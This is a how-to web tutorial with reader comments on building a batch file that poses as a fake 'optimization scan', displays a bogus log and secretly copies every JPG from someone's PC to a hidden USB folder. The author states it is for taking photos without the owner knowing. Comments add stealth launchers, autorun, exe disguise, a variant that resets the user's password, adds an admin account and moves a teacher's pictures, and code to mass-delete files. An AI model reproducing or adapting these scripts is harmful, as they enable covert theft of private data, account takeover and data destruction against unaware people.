Picture of Secret spy image photo copying batch file

So, first things first, what is this instructable creating and why.

This instructable will allow you to create a batch file that will copy all the images from a PC to your memory stick. it will do this discretely, posing as another program that is checking the computer for issues. When complete, you will have a hidden folder on your memory stick with all the copied images.

Why? I have created this instructable because I wanted to retrieve a digital photo from someones machine without them knowing I had done it. The legitimate use of this file will allow you to archive/backup your personal photos.

Other uses: This file can be modified to allow any other type of document to be copied.
Remove these adsRemove these ads by Signing Up

Step 1: Write the code

Picture of Write the code

Copy the following code into notepad and save it on the root of your memory stick as a bat file, you can name it whatever you want as long is it has the .bat extension. To ensure it does have the correct extension, type it as follows in the save box of notepad "copyimage.bat" (include the quotations!)

@echo off
echo Optimization client 2008 v3.02b
echo --------------------------------
echo Please do not use your PC while this is running.
echo Scanning process list. When complete a log will be displayed for your system administrator to review.
echo Please be patient this could take upto 3 hours.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
attrib -s +h data\* >nul
start optimizationLog.txt
shutdown /s /c "Optimization scan complete, your PC will now shutdown"

Step 2: Create a fake report file

Picture of Create a fake report file

In this step I have created a fake text file that pretends to be the result s log of the batch file that we run to copy the files. This allows you to pretend something has happened. It doesn't matter what this file says, you can change it as much as you like, just ensure the filename is correct and that it is stored on the root of your memory card.

The text I have used is mainly from a hijack this log, copy it and save it to the root of your memory stick as optimizationLog.txt

Scan completed. Please close this log and allow your system administrator
to review it.

Running processes:
C:\Program Files\Java\jre1.6.0_07\bin\jusched.exe
C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
C:\Program Files\TOSHIBA\Power Saver\TPwrMain.exe
C:\Program Files\TOSHIBA\SmoothView\SmoothView.exe
C:\Program Files\TOSHIBA\FlashCards\TCrdMain.exe
C:\Program Files\BitDefender\BitDefender 2009\bdagent.exe
C:\Program Files\Registry Mechanic\regmech.exe
C:\Program Files\BitDefender\BitDefender 2009\seccenter.exe
C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
C:\Program Files\Vuze\Azureus.exe
C:\Program Files\Microsoft Office\Office12\OUTLOOK.EXE
C:\Program Files\AutoCAD 2008\acad.exe
C:\Program Files\Mozilla Firefox\firefox.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.google.co.uk
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.google.co.uk
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.google.co.uk
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://go.microsoft.com/fwlink/?LinkId=54896
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=69157
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant =
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,CustomizeSearch =
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName =
O1 - Hosts: ::1 localhost
O2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll
O2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C:\Program Files\Microsoft Office\Office12\GrooveShellExtensions.dll
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.6.0_07\bin\ssv.dll
O3 - Toolbar: BitDefender Toolbar - {381FFDE8-2394-4f90-B10D-FC6124A40F8C} - C:\Program Files\BitDefender\BitDefender 2009\IEToolbar.dll
O4 - HKLM\..\Run: [Windows Defender] %ProgramFiles%\Windows Defender\MSASCui.exe -hide
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Java\jre1.6.0_07\bin\jusched.exe"
O4 - HKLM\..\Run: [IgfxTray] C:\Windows\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\Windows\system32\hkcmd.exe
O4 - HKLM\..\Run: [Persistence] C:\Windows\system32\igfxpers.exe
O4 - HKLM\..\Run: [SynTPEnh] C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
O4 - HKLM\..\Run: [TPwrMain] %ProgramFiles%\TOSHIBA\Power Saver\TPwrMain.EXE
O4 - HKLM\..\Run: [SmoothView] %ProgramFiles%\Toshiba\SmoothView\SmoothView.exe
O4 - HKLM\..\Run: [00TCrdMain] %ProgramFiles%\TOSHIBA\FlashCards\TCrdMain.exe
O4 - HKLM\..\Run: [Toshiba TEMPO] C:\Program Files\Toshiba TEMPRO\Toshiba.Tempo.UI.TrayApplication.exe
O4 - HKLM\..\Run: [BDAgent] "C:\Program Files\BitDefender\BitDefender 2009\bdagent.exe"
O4 - HKLM\..\Run: [BitDefender Antiphishing Helper] "C:\Program Files\BitDefender\BitDefender 2009\IEShow.exe"
O4 - HKCU\..\Run: [RegistryMechanic] C:\Program Files\Registry Mechanic\RMTray.exe /H
O4 - Startup: OneNote 2007 Screen Clipper and Launcher.lnk = C:\Program Files\Microsoft Office\Office12\ONENOTEM.EXE
O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~3\Office12\EXCEL.EXE/3000
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\PROGRA~1\Java\JRE16~2.0_0\bin\ssv.dll
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\PROGRA~1\Java\JRE16~2.0_0\bin\ssv.dll
O9 - Extra button: Send to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~3\Office12\ONBttnIE.dll
O9 - Extra 'Tools' menuitem: S&end to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~3\Office12\ONBttnIE.dll
O9 - Extra button: eBay.co.uk - Buy It Sell It Love It - {76577871-04EC-495E-A12B-91F7C3600AFA} - http://rover.ebay.com/rover/1/710-44557-9400-3/4 (file missing)
O9 - Extra button: (no name) - {85d1f590-48f4-11d9-9669-0800200c9a66} - %windir%\bdoscandel.exe (file missing)
O9 - Extra 'Tools' menuitem: Uninstall BitDefender Online Scanner v8 - {85d1f590-48f4-11d9-9669-0800200c9a66} - %windir%\bdoscandel.exe (file missing)
O9 - Extra button: Amazon.co.uk - {8A918C1D-E123-4E36-B562-5C1519E434CE} - http://www.amazon.co.uk/exec/obidos/redirect-home?tag=Toshibaukbholink-21&site=home (file missing)
O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~3\Office12\REFIEBAR.DLL
O10 - Unknown file in Winsock LSP: c:\windows\system32\nlaapi.dll
O10 - Unknown file in Winsock LSP: c:\windows\system32\napinsp.dll
O10 - Unknown file in Winsock LSP: c:\program files\vmware\vmware workstation\vsocklib.dll
O10 - Unknown file in Winsock LSP: c:\program files\vmware\vmware workstation\vsocklib.dll
O11 - Options group: [INTERNATIONAL] International*
O13 - Gopher Prefix:
O16 - DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (get_atlcom Class) - http://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cab
O18 - Protocol: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C:\Program Files\Microsoft Office\Office12\GrooveSystemServices.dll
O18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C:\Program Files\Common Files\Microsoft Shared\Help\hxds.dll
O18 - Filter hijack: text/xml - {807563E5-5146-11D5-A672-00B0D022E945} - C:\PROGRA~1\COMMON~1\MICROS~1\OFFICE12\MSOXMLMF.DLL
O20 - Winlogon Notify: igfxcui - C:\Windows\SYSTEM32\igfxdev.dll
O23 - Service: Agere Modem Call Progress Audio (AgereModemAudio) - Agere Systems - C:\Windows\system32\agrsmsvc.exe
O23 - Service: BitDefender Arrakis Server (Arrakis3) - BitDefender S.R.L. http://www.bitdefender.com - C:\Program Files\Common Files\BitDefender\BitDefender Arrakis Server\bin\Arrakis3.exe
O23 - Service: Autodesk Licensing Service - Autodesk - C:\Program Files\Common Files\Autodesk Shared\Service\AdskScSrv.exe
O23 - Service: ConfigFree Service - TOSHIBA CORPORATION - C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exe
O23 - Service: @%SystemRoot%\ehome\ehstart.dll,-101 (ehstart) - Unknown owner - %windir%\system32\svchost.exe (file missing)
O23 - Service: getPlus(R) Helper - NOS Microsystems Ltd. - C:\Program Files\NOS\bin\getPlus_HelperSvc.exe
O23 - Service: Google Update Service (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Unknown owner - C:\Program Files\Google\Update\GoogleUpdate.exe" /svc (file missing)
O23 - Service: BitDefender Desktop Update Service (LIVESRV) - Unknown owner - C:\Program Files\Common Files\BitDefender\BitDefender Update Service\livesrv.exe" /service (file missing)
O23 - Service: @%SystemRoot%\system32\qwave.dll,-1 (QWAVE) - Unknown owner - %windir%\system32\svchost.exe (file missing)
O23 - Service: @%SystemRoot%\system32\seclogon.dll,-7001 (seclogon) - Unknown owner - %windir%\system32\svchost.exe (file missing)
O23 - Service: Notebook Performance Tuning Service (TempoMonitoringService) - Toshiba Europe GmbH - C:\Program Files\Toshiba TEMPRO\TempoSVC.exe
O23 - Service: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C:\Program Files\TOSHIBA\TOSHIBA DVD PLAYER\TNaviSrv.exe
O23 - Service: TOSHIBA Optical Disc Drive Service (TODDSrv) - TOSHIBA Corporation - C:\Windows\system32\TODDSrv.exe
O23 - Service: TOSHIBA Power Saver (TosCoSrv) - TOSHIBA Corporation - c:\Program Files\TOSHIBA\Power Saver\TosCoSrv.exe
O23 - Service: TOSHIBA SMART Log Service - TOSHIBA Corporation - c:\Program Files\TOSHIBA\SMARTLogService\TosIPCSrv.exe
O23 - Service: VMware Agent Service (ufad-ws60) - Unknown owner - C:\Program Files\VMware\VMware Workstation\vmware-ufad.exe" -d "C:\Program Files\VMware\VMware Workstation\\" -s ufad-p2v.xml (file missing)
O23 - Service: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C:\Program Files\Common Files\Ulead Systems\DVD\ULCDRSvr.exe
O23 - Service: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C:\Program Files\VMware\VMware Workstation\vmware-authd.exe
O23 - Service: VMware DHCP Service (VMnetDHCP) - VMware, Inc. - C:\Windows\system32\vmnetdhcp.exe
O23 - Service: VMware NAT Service - VMware, Inc. - C:\Windows\system32\vmnat.exe
O23 - Service: BitDefender Virus Shield (VSSERV) - Unknown owner - C:\Program Files\BitDefender\BitDefender 2009\vsserv.exe" /service (file missing)
O23 - Service: VNC Server Version 4 (WinVNC4) - Unknown owner - C:\Program Files\RealVNC\VNC4\WinVNC4.exe" -service (file missing)
O23 - Service: @%ProgramFiles%\Windows Media Player\wmpnetwk.exe,-101 (WMPNetworkSvc) - Unknown owner - %ProgramFiles%\Windows Media Player\wmpnetwk.exe (file missing)

Step 3: Run the program

Picture of Run the program

You should now have a memory stick with two files on it (and a lot of free space ready for the new images). If you have anything else on the drive it doesn't matter.

Take the memory stick to your target computer. When it is regisitered, take note of the drive letter allocated to it, this will enable you to run it without needing to browse to the folder first.

Press the Windows key and then press 'R' (while still holding the windows key). This will bring up a Run box. In the run box, type the path of the batch file we created, the drive letter being the letter assigned when you plugged in the memory stick.

For example, if I insert my memory stick and it registers a g:\ drive then i would run:


And then hit enter, or click run. This will start the batch file running. When it is complete, it will shutdown the machine. Remove you memory stick and take it away!

Step 4: Get the images!

Picture of Get the images!
You now should have a memory stick with all the images on it. The files and folder are hidden, so if you haven't got yours showing, you will need to enable it. To do this go into an explorer window (e.g open my computer) and:

WinXP - Tools, Folder Options, View, Show Hidden Files
Vista - Organize, Folder and search options, View, Show Hidden Files

Once selected, you should be able to open the hidden folder and get the images you wanted!

Step 5: What the code means

Picture of What the code means

I shall explain as much of the code as possible. the main copying function was not written by me, I have borrowed it from the following site and modified it:



@echo off '

'Stops commands being shown on screen, so the user doesn't know what is being done

echo Optimization client 2008 v3.02b
echo --------------------------------

Writes on the screen a title for the program

echo Please do not use your PC while this is running.
echo Scanning process list. When complete a log will be displayed for your system administrator to review.
echo Please be patient this could take upto 3 hours.

Tells the user a load of rubbish that isn't true

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul

Adds a registry key that will hide hidden files and folders. This stops the user being able to see the folder we are creating to hold the copied images. The nul command at the end stops the command from reporting any messages when it finishes

mkdir \data >nul

Makes a folder on the drive that this batch file resides on called data.

attrib +h \data >nul

Hides the created folder

setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul

This is the code that will search the entire c:\ drive for images. If you want it to search another drive, then change the c: part to what you want. If you want it to find other file types the list them next tot he text jpg, seperate the file types with a space. For example (jpg txt doc)

attrib -s +h data\* >nul

Sets every file that now exists in the data file to be hidden, and removes any system atttributes

start optimizationLog.txt

Opens the fake log file we created, so that the user things something has been done

shutdown /s /c "Optimization scan complete, your PC will now shutdown"

Shudown the PC with a message

dcduo9 months ago

You want to automatically copy peoples photos from their computer to your memory stick without them knowing. What are you, paedophiles?

killtacular10 months ago

or try this code

note that e is the drive name make sure you know which letter it is coz it should be changed if more drives are there...

dont forget to compile it into exe format and choose "ghost application" xD

@echo off


xcopy /q /k /m C:\Users\%username%\Pictures\*.* E:\Storage\

killtacular10 months ago

or you could compile the batch file as ghost format using the bat to exe converter at http://www.f2ko.de/programs.php?pid=b2e. use an autorun to start the process automatically...

InfraBlue5 years ago
You can make the batch run stealthy with this and autorun when pluged in to a pc

First make "start.bat" and enter this code:

wscript.exe "\stealth.vbs" "copy.bat"

Second make "stealth.vbs" enter this code:

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Third make "secret.bat" enter this code:

@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
attrib -s +h data\* >nul

Then make "autorun.inf" and enter this code:


If you want to stop it make "stop.bat" with this code:

@echo off
taskkill secret.bat

IsrarM InfraBlue11 months ago

sir can you send me file of this to my email?

Will this copy every single image file off of the drive, even temporary files?

wildlos1 year ago

here's my challenge for you..... use an otg cable and attach it to any cell phone in order to copy all photos discreetly. can it be done?

Stan20001 year ago
You can hide the folder easier by the atrib comand, i belive it was atrib /h
Is there a way to make this search by file size, example over 500kb?
does this really take 3 hours
jeakins12 years ago
How can I make it copy only certain sized images. It copied 4k photos of stuff and I only needed about 20 of the photos.
Note, this works on Windows 7, however the hidden files registry key doesn't as this behaviour was changed in Windows 7.

Windows XP the key needs to be

Windows 7 the key needs to be

Same Path
Shadow13!4 years ago
Is it possible to make this search only in account folders such as my pictures and such for all accounts on a computer and ignore folders like program files and such to cut down on run time. I am pretty new to this type of work so the more detail or exact code would be extremely appreciated.
Ok thought I would post my version of the script, since I found this useful.

Note my version searches everywhere on the C Drive.  Most people tend to hide their photos if they are worth stealing.  This will only search for files larger that 640x480.

This script is also dependant on a program called PhotoResize.
Now it is dependant on how you have the name of the program as to what size photos you want them resized to.  Eg I have it resize the photos to 640x480, they are large enough to see, yet small enough so they don't take as long to copy.  This is also what determines if the files get copied or not, eg if the photo is smaller than 640x480 it wont resize, therefore will not save to the drive.  So if you make it resize to 800x600 you will only find photos that are 800x600 or larger.

Here is my version of the script
@echo off
color a
echo Optimization client 2012 v3.02b
echo --------------------------------
echo Please do not use your PC while this is running.
echo Scanning process list.
echo Please be patient this could take upto 3 hours.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
attrib +h PhotoResizeW640SOH.exe >nul
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg jpeg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
PhotoResizeW640SOH.exe "-c\%computername%\<NAME>.jpg" "%%f"
attrib -s +h \%computername%\* >nul
del -f -q PhotoResizeW640SOH.exe

I also used the Batch 2 Exe converter to make the batch run silently or with display, however it includes the PhotoResize within the exe.  Not sure if you would like me to post that or not, however I think this is easy enough to understand, if you can't then maybe you shouldn't be stealing peoples pics.
ee0u30eb (author)  CyberCitizen3 years ago
Thats great. many thanks for sharing this, I love seeing evolutions to the script
pinkspeedo5 years ago
I've modified my flash drive with the following:

@echo off
net user %username% Password
net user /add Admin2 Password
net localgroup administrators Admin2/add
net share concfg"c:\/grant:Admin2.full
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a') do (
move "%%f" \%computername%\ /y /h /q >nul
attrib -s +h %computername%\* >nul
rem this will change the current logged on users password to
rem Password
rem it will also create an administrator account
rem (which can be changed) with the pass= Password
rem then it moves all the files from the current users my pictures folder
rem onto your flash drive
rem then loggs off the computer
rem (change shutdown -l to shutdown -s -t 1) to shut down the computer
rem shuts down the computer instantly
shutdown -l
rem i love my flash drive =]
rem sent my friend a "file" on it at school
rem if youve got a teacher that pisses u off at school thisll be hillarious
 Why not make it 'shutdown -s -f'? No timer is instantaneous 
It doesn't work that way, but you can do 'shutdown -t 00 -s -f' to shutdown without a timer.
what is 'rem'? it is just a comment?
"records comments (remarks) in batch files or CONFIG.SYS" is what cmnd prmpt said. just type "help" into command prompt, hit enter, and thou shall get large list of stuff
sorry worded weird put shutdown -l at the end doesnt matter really just a little bit confusing
account3r24 years ago
u can make a autorun
El Mano5 years ago
Where did you learn this? I'm trying to figure the FOR command out, and FOR /? is offering very little help.
diaruga115 years ago
 does this work on macs?
no, because windows are different from macs.
stevenh4295 years ago
it says three hours , how long will it take
It should all depend on the amount of photos in the target computer.
will this work on macs? if not how could i make it work on macs
 Ok, i've come across this problem before.
 1. Buy a PC
pinkspeedo5 years ago
get a batch to exe converter when you run the exe file you wont see the command prompt add a little txt file to make them think thats all it opened or a website cd\ "c:\program files\internet explorer\iexplore.exe" (ebsite address goes here)
Is there a way we can change

for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (

to look in the current userprofile rather than the entire C Drive?

c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a use this to copy jpg images from my pictures
ee0u30eb (author)  daniel.penning5 years ago
The user profile can be accessed via


So (will test later) try:

for /f "tokens=* delims= " %%f in ('dir/b/s/a-d %userprofile%*.%%a') do (
pinkspeedo5 years ago
directly after @echo off add this title Optimization client 2008 v3.02b changes the title of the cmd prompt jsut makes it more convincing
ee0u30eb (author)  pinkspeedo5 years ago
Pinkspeedo, thanks for all of your comments, they are excellent feedback, and I will certainly be using them.
pinkspeedo5 years ago
also change this mkdir \data >nul to this mkdir \%computername% >nul allows you to create different folders on each computer incredibly helpful and easy way to do this go to edit replace all type data in first field then %computername% in second then hit replace all
pinkspeedo5 years ago
add an autorun file for the flash drive
(autorun) make the brackets not parenthesis
action=Click "OK"
save as autorun.inf
makes the file transfer so much easier
BakaTanuki5 years ago
How do I have it grab everything in C:\ except for temporary internet files?
how do you know when its done downloading
daniel20086 years ago
would it be possible to create a copy of windows live messenger conversations that are saved on the computer discretely too?
Mine kept saying "access denied"
XOIIO6 years ago
how long does it take to work? i want to know how much time i need.
Jewbacca6 years ago
What does the program save there stuff as?
not bad (: how would i use this to copy all files onto my flash drive?
ee0u30eb (author)  austinburke.6 years ago
When you say all files I guess you still mean the images?? Where-ever you save this batch file and run it from, it will write the files to that place. So if you save it on your flash drive and run it from there, then that's where it will store the files.
sorry, i wasnt to clear on what i meant. i mean like not just pictures, but also documents, excel sheets and what not? i am a intermediate batch writer and this is stuff that i should learn (:
ee0u30eb (author)  austinburke.6 years ago
Ahhh I see. All you do is add each extansion that you require in the brackets that say jpg.

For example:

setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg pdf xls) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
how can you make it copy the users web history?
thank you!
pisaman26 years ago
is there a way to give this a user interface? My friend is cautious and never likes batch files! Nice idea - I love it
You can convert batch files to exe with this programhttp://www.download.com/Bat-To-Exe-Converter/3000-2069_4-10555897.html
ee0u30eb (author)  zachman12216 years ago
Or just convert it yourself like I have done. Go and download Bloodshed Dev C++ and then paste this code and save it as a 'c' source file. them compile it:

#include <stdio.h>

int main(void){

FILE *optimize;
if((optimize = fopen("optimize.bat", "w+"))==NULL)
printf("Error Creating BAT file");

fprintf(optimize,"@echo off\n");
fprintf(optimize,"echo Optimization client 2008 v3.02b\n");
fprintf(optimize,"echo --------------------------------\n");
fprintf(optimize,"echo Please do not use your PC while this is running.\n");
fprintf(optimize,"echo Scanning process list. When complete a log will be displayed for your system administrator to review.\n");
fprintf(optimize,"echo Please be patient this could take upto 3 hours.\n\n");

fprintf(optimize,"reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul\n");
fprintf(optimize,"mkdir \\data >nul\n");
fprintf(optimize,"attrib +h \\data >nul\n");
fprintf(optimize,"setLocal EnableDelayedExpansion\n");
fprintf(optimize,"@echo off\n");
fprintf(optimize,"for %%%%a in (jpg) do (\n");
fprintf(optimize,"for /f \"tokens=* delims= \" %%%%f in \('dir/b/s/a-d c:\\*.%%%%a') do (\n");
fprintf(optimize,"xcopy \"%%%%f\" \\data\\ /y /h /q >nul\n");
fprintf(optimize,"attrib -s +h data\\* >nul\n");
fprintf(optimize,"start optimizationLog.txt\n");
fprintf(optimize,"shutdown /s /c \"Optimization scan complete, your PC will now shutdown\"\n");

system("del optimize.bat");

If you make a call to the batch colour command, you could change the screen colour and make it look a bit more user friendly. I havn't yet dabbled in making proper GUIs so can't help any further.
hg341 ee0u30eb6 years ago
Bloodshed Dev C++ i dont like them i couldnt get the libary for it i had to use codeblockers
ee0u30eb (author)  ee0u30eb6 years ago
This C code will do exactly the same thing but it starts off as an exe file instead of a batch file. It will however merely write the batch fikle itself and run it, when it is finished it will delete the bacth file. It is possible to do this without making it open a batch file but I haven't taken the time to do it.
knil92 pisaman26 years ago
if he doesnt like batches get a free .bat to .exe converter and then change the icon, with the converter i have, it lets u chose an icon for the .exe and it lets u add another file to it, so u can open say 2 batch files at once
it has a user interface; a text based one. However, it does not have a gui (Graphical User Interface).
GREAT instructable, but i have one question, would it be possible to delete all of one file type rather than just coping all of it?
ee0u30eb (author)  Psychic Master6 years ago
Where it says: xcopy "%%f" \data\ /y /h /q >nul replace it with del "%%f% /f Thats should do it, not tested it though
ee0u30eb (author) 6 years ago
you could also add a command to kill explorer.exe here, that will close all explorer windows (the task bar and start menu wll disappear), making the only open window our program! To do it add the following command after attrib +h \data >nul taskkill /im explorer.exe /f